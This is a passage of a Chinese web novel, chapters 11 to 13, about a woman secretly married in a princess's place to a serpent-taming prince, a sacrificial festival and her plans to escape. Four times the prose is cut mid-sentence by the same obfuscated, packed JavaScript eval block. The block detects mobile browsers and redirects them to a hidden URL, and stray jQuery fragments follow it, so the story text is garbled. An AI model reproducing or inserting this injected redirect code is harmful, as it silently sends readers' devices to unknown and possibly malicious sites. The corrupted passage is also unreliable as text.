沉香话锋一转,慈祥的看着温萝芙:“还好殿下终究是活下来了,还遇见了公主您。”
她眼中泛起一丝欣慰,“这些年,关于他‘触之即死’的谣言
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629252|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愈传愈烈,王上也不曾替他澄清。直到公主来了,才让众人知道,原来殿下也是能触碰活人的。”
温萝芙不语,只是一味痛恨谣言。
那日宴会上她攥住庄九黎手腕时,殿内此起彼伏的抽气声犹在耳畔。谁能想到,一个无稽之谈,竟阴差阳错地改变了她与长宁公主的命运轨迹。
这该死的谣言究竟是从哪个阴暗的角落里滋生出来的?如果庄九黎没有这样骇人的传闻,长宁公主说不定还真会承担起和亲的责任,风风光光地嫁过来,哪用得着找她替嫁。
她看着沉香,心中不禁泛起一丝苦涩,表面上却依旧维持着端庄的模样。
说话间,沉香已经轻柔而娴熟的也系好了最后一根衣带,她微微直起身,眼中满是赞赏:“公主姿容绝世,这身衣裳与您相得益彰。来,照照镜子,看看这光彩照人的模样。”
盛情难却,温萝芙站在镜前端详着自己如今的容貌。
镜中人一袭苗疆盛装,深蓝色的布料衬得她肤若凝脂,确实有几分王妃的气势。
只可惜她小小年纪,竟然已经嫁为人妇。
她失去了自由,就算庄九黎再怎么像一个阴差阳错的爱情故事男主角,也改不了这个故事的本质:她是被迫和一个本来陌生的人成婚,她是顶着她人名分,被困在这异国深院之中。
——樊笼再怎么华美,也依旧是樊笼。
她一定会离开早日恢复自己的自由身。
至于庄九黎……今天庄九黎竟然没有找自己一起睡觉。
思虑至此,温萝芙问:“沉香姐姐,你知道庄九黎在哪吗?”
沉香掩唇轻笑:“殿下这会儿应该在外面的林子里。”她帮温萝芙理了理衣领,又意味深长地补了一句,“有这么漂亮的公主关心殿下,难怪他近日心情好了许多。”
待沉香离开后,温萝芙犹豫片刻,还是提着灯笼往林子里走去。
毕竟她还要利用庄九黎学下蛊呢。
夜风微凉,树影婆娑,她循着小径前行,忽然听见前方传来细微的响动。
拨开灌木,眼前的景象让她愣在原地——
庄九黎正抱着一棵粗壮的榕树,双臂紧紧环抱着树干。
月光透过枝叶斑驳地洒在他身上,将他的身形衬托得更加纤细单薄。
“你好?”温萝芙下意识出声。
为什么要抱着一棵树啊!看上去好命苦。
庄九黎蓦然回首,看清来人后慌忙松开树干:“晚上好。”
他本来想问妻子今晚要不要一起睡觉的。
但是他已经被拒绝过一次。便没有再次提起的勇气。
每当想要接触他人时,他便来此拥抱古树。粗糙的树皮摩擦过皮肤的触感,能让他产生一种被填满的错觉。虽然现在比不上温萝芙给他的真实的拥抱,但至少不会吓跑任何人。
这偌大王宫,能容他放肆亲近的,也唯有这些沉默的草木了。
夜风拂过,树叶沙沙作响。庄九黎偷偷抬眼,看见温萝芙的裙摆被风吹得轻轻摆动,像一朵在夜色中绽放的花。
好想抱她。
这个念头刚冒出来,他就狠狠掐了自己的掌心一下,不能再贪心了,不然会被讨厌。
“庄九黎。”温萝芙突然开口。
11.第 11 章
“我在。”庄九黎直起身,语气温柔。
温萝芙张开双臂:“过来。”
庄九黎眼中闪过一丝讶异:“不是说,要经过允许么?”
温萝芙:“那现在你问我一句。”
庄九黎心跳渐快:“长宁公主……”声音不自觉地放得更轻,“我可以抱你一下吗?”
“准了。”温萝芙晃了晃手臂,“请来。”
话音刚落,她就又被扑了个满怀。
庄九黎呼吸间全是她身上淡淡的香气,对方柔软的身躯远比粗糙的树皮熨帖千万倍,连灵魂深处的裂隙都被温柔填平。
她是最好的,只有她最好。
庄九黎回忆起自己也曾到过无人认识他的异乡,有个路过的书生不小心碰了他的手。
那一刻蛊毒翻涌,他不得不拼命忍耐、仓皇逃离,躲在溪边干呕到眼眶发红。
即使他想与人接触,陌生人的触碰对于他而言,从来只有反胃与疼痛。
她是他唯一的解药。
他贪婪地汲取着这份温暖,甘愿沉沦。
父王母后常年争吵的画面在脑海中闪回,那些摔碎的茶盏,恶毒的咒骂,让他即使知道自己会有一场政治联姻,也对“夫妻之情”不抱期待。
可此刻拥着怀中人,心脏却不受控制地狂跳。
这种感觉就是喜欢吗?
庄九黎突然想起曾见过的民间夫妻,丈夫为妻子簪花时温柔笑意,妻子为丈夫拭汗时自然亲昵。
他彼时只觉荒谬,他曾以为自己这辈子都不会拥有与理解,如今却生出几分艳羡。
难道成了亲,便会自然生出这般情愫?
想把最好的都给她。
袖中的小蛇似乎感知到主人的心绪,悄悄游出,露出欢欣之色。
“好了,该回去了。”温萝芙轻轻拍了拍庄九黎的背,“明日还需早起。”
庄九黎不情不愿地松开手,在温萝芙转身时叫住她:“夫人。”
“嗯?”
少年眼尾的赤纹灼灼:“祭典结束后,我想带你去看海。”
这句话还是说得没头没尾。
可温萝芙确实想看海,看海的承诺之前也提过,就答应道:“好。”
“对了,你今天为什么不来找我一起睡?”她问。
庄九黎:“你昨天说了不要和我睡。”
“那是昨日。”她轻笑,“今日可以了。”
树影摇曳,月光如水。
温萝芙岂会看不出少年眼中赤诚的情意?
她前世在名利场中摸爬滚打多年,当然能品出庄九黎对她的那点喜欢,还是初恋那种难办的纯粹。
这当然是她所希望的,但她望着月光下庄九黎明亮的眼睛,忽生忮忌。
他喜欢她,如此容易就喜欢了她。
凭什么?
就因为她是他的妻子吗?
这份喜欢如此纯粹,又如此奢侈。
都说情种生在大富大贵之家。
作为一个现代人,温萝芙确实在读书时读过很多霸道总裁小说。
那些故事里,男主角的深情总是被浓墨重彩地歌颂。
在天平的砝码上,位高权重者的爱意,往往更重,而有权有势的——往往是男人。
权势和财富仿佛能让爱意变得更珍贵。
可现实中呢?当一方掌握着生杀大权,另一方的“不愿意”又算得了什么?
就像她不得不被逼迫替嫁一样。
就像现在,庄九黎可以坦然地喜欢她一样,可她却无法坦然回应。
她忮忌他能明目张胆地偏爱,忮忌他的喜欢不必计算得失,忮忌他哪怕浑身是毒,却依然拥有爱的底气。
——不用操心生死,诘问天地。
——不必算计得失,苟且偷生。
温萝芙想起自己前世为了生存摸爬滚打的日子,不过也是如今日这般,一半真心一半做戏。她想起那些穿越后被债主逼到绝境的夜晚,想起素月咳血的场景。而眼前这个少年,生来就是王储。
在她的天平上,爱是砝码,而另一端的自由,轻若鸿毛,重若千钧。
“怎么了?”庄九黎察觉到她的走神,小心翼翼地问。
温萝芙回过神,扯出一个笑容:“没什么。”她主动牵起他的手,“不是说要看海么?我记下了。”
掌心相贴的瞬间,庄九黎的眼睛亮了起来,像是得到了全世界最珍贵的宝物。
温萝芙看着他的笑容,心里那点不甘渐渐化作了无奈。
她不会同情自己,也不会反悔自己的欺骗。
若遭受报应,坏且不改,那是应得。
硬要说她也没有觉得自己有多被逼无奈,毕竟拿了钱——很多枷锁往往是自己给自己套上的,给他人赋魅的往往是自己。她知道庄九黎也算得上是个美强惨,也知道他一无所知的怀有一片赤诚,他很好。
他没有错,而她只是有些难受。
她觉得自己没救了,她有什么立场去忮忌庄九黎呢?
凭自己编造了一个假象,还要怪罪他喜欢上了一个幻影吗?
其实她最不甘心的只是自己无能为力罢了。
她终究没松开手。
帐幔在夜风中轻轻晃动,庄九黎侧躺在她身侧,忽然轻声开口:
“那日在宴席上,你攥住我手腕,我以为自己在做梦。”
温萝芙偏头看去,少年眼里盛满爱意,却仍固执地与她对视:“人人都道我是活蛊,触之即死。唯有你敢碰我,待我如常人,还待我这般好。”
我对他很好吗?
温萝芙细细回想,竟寻不出几分真心。
有种她只是对着水面吹了口气,水就自己刮起惊涛骇浪的感觉。
他语气温柔,“其实我早就能控制蛊毒。但父亲需要那些谣言,所以我……”
“所以你就任由自己被传成怪物?”温萝芙咽下了自己的未竟之言。
要是庄九黎能澄清一下这个谣言就好了,在她替嫁之前。
“旁人如何看我,我不在乎。” 他盯着她眼底倒映的月光,“我只在乎你。”
“我只在乎你的看法。”
“我只想要你一个。”
温萝芙想笑,又笑不出来。
她抽出被他按住的手,真心实意的说道:“你可以试试和别人拥抱。比如沉香姐姐,或者祭典上的巫女——”
“不要。” 庄九黎眉头紧蹙,“光是想象触碰他人,”他的喉结艰难地滚动了一下,强忍着生理性的恶心,“就令人作呕。”
庄九黎的心像是被什么东西狠狠揪了一下。
她为什么要这样说?为什么要他去找别人?
他就是非她不可啊。
她要推开我吗?
庄九黎不想抬头看温萝芙的眼睛。不想在在那双眸子里看到厌弃。
那些好不容易被安抚的蛊毒又开始在血管里躁动,叫嚣着要撕碎什么来平息这份痛苦,心中迫切的需要什么东西来填满。
他生着闷气说:“我不是谁都可以的。”
不是谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633840|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都能让他忍住反胃的冲动,不是谁都能让他克制住蛊毒的暴走,不是谁都能让他想要触碰。
只有她。
——从来都只有她。
“知道了。” 温萝芙忍不住捏了捏他的耳垂,“以后你若有了下一个不排斥拥抱的人,别带着下一个人气势汹汹的来毒我。”
温萝芙心想这种现女友找前女友麻烦的多了去了,从古至今都一样,不过看男方管不管。
恍惚又觉得自己这样问很可笑,承诺,并不能让她到时候多活一刻。
“不会有第二个人。”他抓住她的手腕,“从你为我绾发那日起……”他划过自己心脏位置,“这里就只容得下你一人。”
她把自己当成什么人了?庄九黎有些愠怒,但很快这份怒气化作了对眼前人的怜惜。
一定是他还不够好,才会让她这样想。
额链珠玉相击,如他颤抖的嗓音,“纵使你厌我弃我,我也会如似蛊缠身,生死相随。”
温萝芙愣住了。她没想到他的反应会这么大。
似蛊附骨……当真是可怖又绮丽的比喻。不会真的要给我下蛊吧。
她又转念一想——这不正是她所求吗?利用他的情意习得蛊术。
等学成了,第一个要逃开的,就是他。
庄九黎趁机往温萝芙身边蹭了蹭,声音软了下来:“反正,我只想碰你一个。”
温萝芙盯了他一会。
温萝芙:“你喜欢我?”
庄九黎:“喜欢。”
他答得干脆,像在陈述一个亘古不变的真理。
这个回答过于坦荡,反倒让温萝芙一时不知该如何接话。
她原以为会看到他羞赧躲闪的模样,却不想他这般直白地将一颗真心捧到她面前,连半分犹豫都没有。
真诚往往是最大的必杀技×2。
“喜欢我?”她拖长音调,轻轻戳了戳庄九黎的脸颊,“那既然喜欢我,就多教我些下蛊的本事。”
庄九黎抿了抿唇,小声道:“……好。”
温萝芙瞧他这副予取予求的模样,展臂将他揽入怀中。庄九黎立即回拥,修长手指穿入她发丝间,轻轻摩挲发根,惹得她脊背窜过一阵细微战栗。
不知何时,他素白里衣已然松散,露出一截如玉的锁骨,其上横亘着一道淡银色疤痕。
温萝芙指尖无意擦过,顿觉他浑身剧颤,呼吸陡然加重。
她好奇地又轻点一下,少年立刻从喉间溢出一声呜咽,声音沙哑得不像话:“别……呜。”
他肌肤竟敏感至此——方才不过蜻蜓点水般的触碰,那处已然泛起艳丽的红痕,在瓷白的肌肤上分外扎眼。
心跳声在静夜里格外清晰。庄九黎垂眸看着怀中人,她睫毛投下的阴影像是振翅的蝶,让他忍不住低头,用唇瓣轻轻碰了碰。
却在最后一刻克制地偏开头,只让这个吻落在她鬓角。
他问:“你也喜欢我吗?”
温萝芙将下巴搁在他肩上,无声地笑了笑。
怎么说呢?不讨厌吧。
“嗯。”她轻轻应了一声,感觉到怀里的身体瞬间放松下来。
庄九黎将脸埋在她颈窝,呼吸渐渐平稳。
温萝芙睁开眼,望向他如玉雕琢的眉眼,心想这大概就是所谓的各取所需。
他贪恋她的触碰,她觊觎他的蛊术。很公平。
窗外,祭坛方向的铜钟突然敲响,浑厚的钟声在夜色中回荡。温萝芙数着钟声入眠。
明天,就是祭山大典了。
12.第 12 章
祭山大典开始了。
第一缕阳光掠过庙前古枫,圣山脚下已聚满了各寨族人。温萝芙身着繁复的苗疆盛装,举着火把,跟随巫师们前行。
仪式一·请鼓下山。
巫师们手持骨铃,双手捧着绘满枫木的羊皮经卷缓步走向鼓庙,在鼓藏头的带领下长跪于石板上。
巫师们低吟浅唱,歌声如松涛般漫过山谷——以歌声唤醒祖先与各方神灵,邀请祂们下山与族人们一同过节。
“枫木生鼓啊——鼓纳祖灵——”
“十二道山梁是你的脉络——”
“十二道溪流是你的精血——”
鼓藏头高举砍刀,宰杀了祭祀用的牲畜。
鲜血淋洒在那面丈余长的圣鼓周围。
“起鼓——”
随着一声长喝,十几名赤膊的壮汉拉动碗口粗的藤索。山洞深处传来沉闷的亘古巨响,那面沉睡的巨鼓被缓缓吊起。
鼓身露出岩壁,山谷间骤然响起万千生灵的祝贺之音。鼓槌落下,声波在山谷间回荡,渐渐消散于晨风之中。
鼓声骤起,芦笙悠扬,迎鼓队伍缓缓前行。
温萝芙手持火把,跟在队伍之首。
太阳渐渐升起。
她跟随队伍来到圣山广场。晨雾已散,阳光洒在祭坛上,各族族人如彩蝶般汇聚于此。
芦笙手们鼓起腮帮,乐声如游龙般钻进云层,惊起几只栖息在枫树梢的锦鸡。
庞大的歌声从祭坛中央传来。
数名白发巫师盘坐在巨鼓旁传颂古歌,枯瘦的手指轻抚鼓面,苍老的嗓音出奇地有力:
“问:远古混混沌沌,哪个来分开天地?”
“答:金银二神来分开,清气上升为天,浊气下沉为地。”
温萝芙听得出神。
先是《金银歌》,讲述天地初开,金银化生万物;接着是《古枫歌》,唱枫树如何孕育蝴蝶妈妈;而后是《蝴蝶歌》,蝴蝶妈妈生下十二个蛋,孵化出万物。其中人类的先祖名为姜央。
姜央与雷公发生矛盾,雷公为了惩罚姜央,发起了滔天洪水,万山崩裂。
姜央与雷公大战后胜利,人类却全部灭绝,光秃秃的石板上只有姜央和自己的妹妹。
于是他为了繁衍人类,与自己的妹妹结婚。生下的确是一个鲜血淋漓的血肉圆团。
他用弯柴刀剁碎了肉团,盛满了九只簸箕,撒在九个大山间,变成了千千万万的百姓。
最后唱到百姓渡河西迁,人群中突然传来一声清亮的女声。
一个扎着七彩辫子的少年站到人群中央,她清了清嗓子,歌声清亮如山涧溪流:“该我了!”
“很久很久以前,人不会老,也不会死,
老了就换新皮,像蛇一样年轻。
可换皮太痛了,痛得人直哭,
眼泪把石头都泡软了,
蛇见了不忍心,说:‘我们换吧!’
从此人有了生老病死——”
说话的少年头插银制蝴蝶簪,腰间缠着自织的花带,她站在鼓堂中央,鼻尖的细汗闪闪发亮,却毫不怯场地迎着巫师们的目光:“蛇便年年蜕皮,重获新生……”
老巫师们面面相觑,按规矩古歌向来是有传承,却没人舍得打断这如清泉般的歌声。
她越唱越勇,讲到蛇与人交换寿命时,忽然模仿起蛇吐信子的嘶嘶声,惹得围观的孩子们咯咯直笑。
唱毕,鼓堂里静了半息,随即爆发出雷鸣般的掌声。
最年长的巫师,脸上也露出了欣慰的笑容。他解下腰间的银铃,轻轻系在女孩的腕上。
“没想到娅莎竟然一直在偷偷学古歌,”巫师的声音中带着几分感慨,“现在大家都承认你了,小雏鸟要成凤凰了。”
温萝芙看着女孩神采飞扬、自在明媚的样子。
原来她叫娅莎。
娅莎得意地晃晃脑袋:“总有一天,我要成为真正的歌师!”
她远远望见温萝芙,蹦跳着凑近打招呼。
“你好!我是乌蛮寨的娅莎!”她眼睛亮晶晶地看着温萝芙,“早就听说大周来了位天仙似的公主,果然比画上的神女还好看!”
“谢谢。你的歌也唱得好听!”温萝芙迟疑了一下,“我是赵长宁。”她不能说自己真正的名字。
娅莎听见夸赞,骄傲地挺起胸膛:“我可是要当大歌师的人!”
她说着便卷起衣袖,露出线条分明的手臂肌肉,“我名字的含义是‘自然之水’,阿妈说女孩子可以像水一样柔软而强大!”
温萝芙忍不住伸手戳了戳她结实的手臂:“真厉害,能教我吗?”
如果身体更强壮些,逃跑的时候也会更方便吧?
“当然可以!”娅莎兴奋地拍手,“不过,王妃怎么不让王上教你?”
她促狭地眨眨眼,“听说王妃已经破除那个可怕的传言啦?”
温萝芙正欲搪塞过去,突见祭山大典中央的凹陷处,雾气腾起。
——是她点燃圣火的时候了。
温萝芙轻声道了句“失陪”,便举起火把,沿着阶梯向雾气深处走去。
庄九黎就在那雾气之后等她。
远处的歌声已如烟散去,唯有山风低吟。
祭典的人群屏息凝神,只余火把燃烧的噼啪声在寂静中格外清晰。
雾气中忽现游动的黑影。
万蛇共舞。
她低头看去,青黑色的蛇群正从她脚边游过,又在触及她衣角时恭敬退开,自发让出一条通路。
所有蛇类同时昂首,同时吞吐信子。
温萝芙顺着它们的视线转头,看见石阶尽头的平台上,银白傩面在雾中乍现。
无悲无喜,如神祇垂眸。
骨铃清响,庄九黎的身影自雾中浮现——
他半卧在地,缠绕周身的蛇群如同流动的墨迹。万蛇在他苍白的皮肤上游走,蛇头从他肩颈、腰腹、甚至发间探出,万蛇游走时如丝带飘舞,又似观音的千手法相,在他周身舒展、回旋。
鼓声不知从何处响起。
他腰肢轻摆,无骨般游动起身,如蛇般胸椎一节节脱离地面,抬起低垂的脖颈。
缠绕在他腰间的蛇群随着这个动作舒展,蛇群的运动并非杂乱无章。每当庄九黎的手腕翻转,蛇群便如受召引,盘旋而上。
他侧身回眸,腰身轻折,银饰在苍白的肌肤上叮咚作响,如天外梵音,证明他仍存于此世。
衣摆有着长长的拖尾,铺展于地,逶迤如巨蛇之尾。
祭坛就在他舞动的中心。
然后,他朝她伸出手。
温萝芙突然明悟——她此刻扮演的,正是故事里那个冷酷的神明。
而庄九黎,则是剜心献祭的巫祝。
蛇尾状的长摆像巨蟒一样一圈圈环绕,将她缠于漩涡中心。
温萝芙一步
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645611|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
步向前,庄九黎时而贴近到呼吸相闻,时而又游离开来。他腰腹擦过她手臂,肌肤便烙下绯色痕迹。
看不见庄九黎的脸,只见他的腰腹随舞姿起伏,肌肉的线条如山川起伏,流线般流淌而下。
像他教她的那样,温萝芙紧闭着眼,随之起舞。
直至火把终于触及祭坛。
烈焰腾起的刹那,雾气与蛇群如退潮般消散。
温萝芙再睁开眼时,庄九黎已跪在她身侧。傩面低垂,姿态驯顺。
他的姿态既似取悦,又似哀怜,蛇群环绕着她游走,如信徒匍匐于神座之下。
那些斑斓的蛇群此刻温顺地盘绕在他膝边,仿佛方才的狂舞只是一场幻梦。
就在温萝芙想要离去时,耳畔突然响起一声似有若无的低语:
【异世之魂】
那声音古老而嘶哑,像是从地底最深处传来。
温萝芙浑身一僵,警觉地环顾四周,却发现祭坛上除了庄九黎,再无他人。这声音似乎也只有她一个人听见。
【汝非此界之人】
第二声低语在她脑海中回荡,温萝芙感到一阵眩晕,不得不扶住身旁的石柱。
这一次,声音清晰得如同耳语。
她确定声音来自祭坛深处。或许是某种古老的机关,又或是她过度疲惫产生的幻觉。
那又如何?
温萝芙定了定神,对着空荡荡的祭坛做了个鬼脸:“装神弄鬼。”
石壁间似乎传来细微的震动,恍惚间似有鳞片摩擦的窸窣声仓皇退去,四周蓦然一静。
她的意识也恢复了清明。
远处南诏百姓的欢呼声渐渐清晰起来。
庄九黎适时地扶住她的手臂,两人快步走向祭坛下的密道。
密道幽深,只有零星的火把光影摇曳。庄九黎静静等待着温萝芙的夸赞,却见她目光游离,显然心不在焉。他犹豫片刻,终于轻声开口:
“想看看我面具下的脸吗?”
温萝芙这才从低语中回神:“想。”
庄九黎揭下了他的傩面。
黑暗中,她只能隐约看到他唇上一抹艳色,衬得庄九黎本就昳丽的容貌在幽暗中美得近乎危险。
庄九黎的声音在狭窄的密道里格外清晰:“这里只有我们两个。”
他有些期待的问道:“我今天跳得好看吗?”
“好看。”温萝芙诚实地回答,“虽然鬼气森森的,但确实好看。”
说罢她便自然地牵起他的手往外走去。
走出密道,温萝芙这才发现他唇上涂了胭脂,不由失笑:“戴着面具还涂这个?别人又看不见。”
庄九黎舌尖舔过唇瓣,将那抹红晕染得更开了。心想:可我希望你能看见。
温萝芙凑近细看:“都涂到嘴角了。”
她端详着他的脸,忽然觉得这张脸若是精心描画,必然更加惊艳。
她下意识说道:“下次要涂的话,我帮你吧。我很会化……”话说到一半突然顿住。
她猛然意识到,真正的长宁公主怎会自己动手化妆?还搁这擅长化妆呢。
但转念一想,庄九黎又不清楚大周女子的习惯,于是她迅速调整神色,随意地补了一句:“……我是说,我的侍女手艺极好,改日让她教你。”
庄九黎低低嗯了一声,温萝芙别开眼,率先迈步向外走去。
希望他没有察觉到哪里不对。
13.第 13 章
祭典时的集市热闹非凡。
温萝芙穿梭在各色摊贩之间,她在每个摊位前驻足,买下大堆华而不实的物件。
庄九黎始终安静地跟在她身后,双臂渐渐被这些零碎玩意堆满。
偶然兴起,她就给庄九黎喂食各种新奇的食物,庄九黎全部照单全收。
夜风送来一阵清越的芦笙声,温萝芙循声望去,只见一个身着靛蓝短褂的小伙子正对一位姑娘吹奏,十指在笙管上翻飞,曲调里藏着说不尽的缠绵。
“这是在求亲。”庄九黎站在她身侧解释,“若是姑娘中意,便会取下银饰挂在对方身上。”
那姑娘的笑声传来:“阿岩哥的芦笙越发精进了!”
却始终未碰自己脖颈上的银饰。
待看清她的面容,竟然是那位唱古歌的女孩娅莎。
娅莎眼尖,瞧见他们便如获大赦般提着裙摆小跑过来,她眨眨眼,目光在二人之间流转,笑道:“比起听人吹笙,还是你们这样更般配呢!”
庄九黎的宽大的袖口还缠着两条昏昏欲睡的小蛇,听闻此言,竟害羞似的钻进了衣襟。
温萝芙只是一笑:“是吗?”
就在这时,人群不知为何突然骚动。
温萝芙还没反应过来,就被个一个白袍僧人撞了个趔趄。庄九黎眼神骤冷。
“阿弥陀佛……温、温姑娘?!”僧人本欲道歉,却抬头时瞪大了眼睛,指着温萝芙发抖,“你怎么在这?”
在看清僧人面容的刹那,温萝芙心头剧震。
是熟人啊。
此人名唤忘尘,是大相国寺的和尚。
温萝芙会认识他,是因为这个和尚苦于佛门清规不得不顶着个油亮的光头,实则羡慕平常人的飘逸长发。他听闻京城有一易容师提供假发,便经常找温萝芙租借。
去年上元节,他还央她做过一顶黑长直。
“大师认错人了。”温萝芙皮笑肉不笑地回应,余光瞥见庄九黎疑惑的目光,连忙挽住他手臂娇嗔:“这和尚好生无礼。”
她死死盯着忘尘,眼中寒光凛冽,仿佛在说“敢多嘴就宰了你”。
忘尘被她这眼神吓得一哆嗦,余光却不断打量着温萝芙华贵的服饰和身旁气质不凡的男子。
那男子身着银饰,眼尾赤纹,像极了传闻中的苗疆王储。而那华服女子虽与故人眉眼相似,可通身气度却如明珠生晕,风华摄人,想必是和亲的长宁公主。
“贫、贫僧失礼了。”忘尘结结巴巴地道歉,“远看施主与故人相似。”
他确实很久没有在京城看到那位易容师了,认错倒也正常。
温萝芙莫名消失后,京城中人都猜测她已遭遇不测。
忘尘慌乱间,突然瞥见温萝芙脖颈处一道浅疤。
熟悉她的人都知道,她曾悬梁自尽,又奇迹般还阳。
电光石火间,前因后果豁然明朗:长宁公主和亲在即,偏生温萝芙突然销声匿迹。
忘尘和尚后背沁出冷汗。
他虽身在空门,却也知晓朝堂上那些明争暗斗,只是没想到这狸猫换太子的戏码竟然发生在好友身上!
再细看温萝芙眼中强压的惊惶,想必也是身不由己。他误打误撞识破了秘密,更不敢妄言。
忘尘福至心灵,双手合十高声道:“阿弥陀佛!早悟兰因,不结絮果。镜花水月终是空啊!”
“菩提本无树,明镜亦非台。”忘尘禅杖顿地,悠悠念到,“若施主欲参禅理,可来崇圣寺寻贫僧——贫僧将会来南诏进行为期一年的交流。”
“早悟兰因啊……”
暗示完温萝芙遇到困难可以找他后,忘尘便高唱着佛号落荒而逃。
娅莎噗嗤笑出声:“这和尚好生有趣!竟然还将本国的公主错认他人。”
温萝芙叹了口气:“是啊。”
“崇圣寺……”庄九黎轻声呢喃,转头看向温萝芙,“你想去参禅吗?”
温萝芙摇了摇头:“我对佛法一窍不通,还是不去叨扰高僧清修了。”
她却在心底暗暗记下了这座寺庙的名字。
庄九黎面上不显,眸色却倏地沉了下来。他敏锐的察觉到一丝不对劲。
他喜欢她,所以对她的一举一动才格外了解。
若将物品置于蜡烛前,投在墙上的影子总会比实物大上许多。
这些旁人根本不会留意的细节,在他眼中一笔一画都清晰得刺目。
为何她总是如此?
方才那和尚分明认得她,她却装作素不相识。就连此刻,她嘴上说着不去参禅,眼中却筑起高墙。
小九从他袖中探出头,冰凉的信子轻舔他指尖,似在安慰。
庄九黎垂眸看着蛇身勒出的淡红痕迹,忽觉心头也似被什么无形之物缓缓绞紧。
一种细微的疼痛感悄无声息地缠上心头。
娅莎敏锐地察觉到两人之间微妙的气氛,识趣地告辞。
人群的喧闹声中,庄九黎开口:“我可以和你一起去参禅。”
温萝芙拒绝了:“不必了。”
不能与他同去,也不愿。
庄九黎接受了这个结果,露出温柔笑意,笑意却未达眼底:“那我们回宫吧。”
转身时,他袖中小蛇齐齐昂首,冰冷的目光锁住远处忘尘消失的方向。
*
祭山大典最后一天。
一只绒毛蓬松的小黄鸭已摇摇摆摆走在最前,它身后,十余名赤膊的汉子肩扛粗绳,拖拽着那面巨大的祖鼓缓缓前行。他们三步一进,一步一退,队伍沿着蜿蜒的山道行进,最终停在一处幽深的洞窟前——藏鼓洞。
巨鼓缓缓没入藏鼓洞中。老祭师诵完最后一段封洞词,将朱砂混着鸡血抹在洞口石壁上,祭山大典便落下帷幕。
温萝芙站在人群外围,这几日她借着游玩之名,已将南诏都城的地形摸清。
这座王城建在苍山与迩海之间的狭长平原上,东临迩海,西倚苍山十九峰,唯有南北两条官道可通外界。北道经剑川入吐蕃,沿途尽是雪山峡谷;南道过龙尾关通往姚州,这是最可能的出逃路线。
但庄九黎说过,龙尾关驻有重兵,关隘两侧的龙首、龙尾两城互为犄角,号称“一夫当关,万夫莫开”。
或许水路可通。
当然,最好的情况便是真正的长宁公主一年后真的来接应她。但这可能吗?不知道。
见识完还鼓的仪式后,温萝芙回到寝宫,望着远处祭典的余火,提笔蘸墨,给素月写着祭山大典的见闻。
内容大致是她遇到一个名为娅莎的活泼女孩,还有那些色彩斑斓的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650201|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苗绣、市集上新尝的百花蜜——要说开心,温萝芙是挺开心的,结识了新朋友,见识了不同的风土人情。
但是这一切都是建立在她假身份的基础之上。
她将信纸交给十七。
窗外忽然传来银铃轻响。
两人俱是一惊,十七瞬间化作一个黑影,消失在窗外。
温萝芙推门而出,正撞上庄九黎直挺挺地杵在门口。看样子已经站了有一会儿了。
“你什么时候来的?”温萝芙皱了皱眉,不知道他看见了多少。
她有点心虚。
庄九黎:“才来不久。”
他顿了顿,又补了一句:“你看见我好像不太开心。”
“没有哦。”温萝芙回答。
总是这样。
庄九黎的神色逐渐变得晦暗。
他都看见了。
那个男人是谁?
但比起那个黑影,他更想知道为什么她看见他不开心。不是说喜欢他吗?
庄九黎扣住温萝芙的手腕,力道刚好,不会让人吃痛却不容挣脱,他的声音沉了下来,带有从未有过的、风雨欲来的意味:“我想听真话。”
如寒星般的深蓝眼眸,带着几分委屈,几分惶然。
庄九黎执拗地望着温萝芙,此刻心中的那些裂痕正一丝丝泄露出来,翻涌自眼眸。
说真话?
说她这个冒牌货随时可能身首异处?
温萝芙的心渐渐沉下去,她有什么资格说真话?或者说,庄九黎依仗的什么让她说真话?
对了,她说过她喜欢他。
可即便是此刻,十七说不定就藏在某处监视着她。如果她吐露半个字……
说真话,然后死吗?
温萝芙用了一个通用的借口淡淡道:“我没有不开心。只是有些想家。”
“不是因为你,是我自己的问题。“
“我会做你的家人。”庄九黎不假思索道,声音渐渐软下来,“难道我不是你的家人吗?”
“我们早已结发为夫妻。”
他指尖抚上她微凉的脸颊,近乎哀求的看着她。
